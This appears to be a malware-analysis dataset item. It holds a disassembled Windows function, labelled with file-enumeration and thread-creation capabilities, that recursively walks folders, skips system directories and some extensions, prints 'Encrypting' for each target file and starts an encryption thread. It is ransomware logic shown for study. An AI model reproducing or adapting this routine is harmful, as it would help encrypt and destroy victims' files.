Function at 0x4049a0
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
mov eax, dword [0x423004]
xor eax, esp
mov dword [esp + 0x260], eax
push ebx
push esi
mov ebx, ecx
push edi
mov dword [esp + 0xc], ebx
call fcn.00404840
push 0x8000
call fcn.0040c27e
add esp, 4
mov esi, eax
mov dword [esp + 0x14], esi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x41f9d4
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [esp + 0x10], esi
cmp esi, 0xffffffff
je 0x404c34
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x41f9d8
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c19
push 0x41f9dc
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c19
mov eax, dword [esp + 0x18]
test eax, 0x400
jne 0x404c19
test al, 0x10
je 0x404b28
push 0x41f9d8
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c15
push 0x41f9dc
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c15
push str.windows
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c15
push str.program_files
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c15
push str.program_files__x86_
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c15
push str._RECYCLE.BIN
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c15
push str.appdata
lea eax, [esp + 0x48]
push eax
call edi
test eax, eax
je 0x404c15
push 0x8000
call fcn.0040c27e
add esp, 4
mov esi, eax
push dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x41fa64
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, esi
call fcn.004049a0
push esi
call fcn.0040c279
add esp, 4
jmp 0x404c15
test al, 4
jne 0x404c19
lea eax, [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub eax, 1
js 0x404b96
cmp word [esp + eax*2 + 0x44], 0x2e
je 0x404b4f
sub eax, 1
jns 0x404b40
jmp 0x404b96
lea esi, [esp + 0x44]
lea esi, [esi + eax*2]
push 0x41fa68
push esi
call edi
test eax, eax
je 0x404c15
push str..msi
push esi
call edi
test eax, eax
je 0x404c15
push str..dll
push esi
call edi
test eax, eax
je 0x404c15
push str..inc
push esi
call edi
test eax, eax
je 0x404c15
lea eax, [esp + 0x44]
push 0x4211f4
push eax
call fcn.00408d8b
add esp, 8
test eax, eax
jne 0x404c15
push 0x8000
call fcn.0040c27e
add esp, 4
mov esi, eax
push dword [esp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [esp + 0x44]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
call ebx
push 0
push 0x4241c8
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
cmp eax, 0xc8
jg 0x404bd2
cmp dword [0x424268], 0
je 0x404c01
push esi
push str.___Encrypting:__s_n
call fcn.00404800
add esp, 8
push 0
push 0
push esi
push 0x404960
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404a16
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x14]
call fcn.0040c279
mov ecx, dword [esp + 0x270]
add esp, 4
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040826b
mov esp, ebp
pop ebp
ret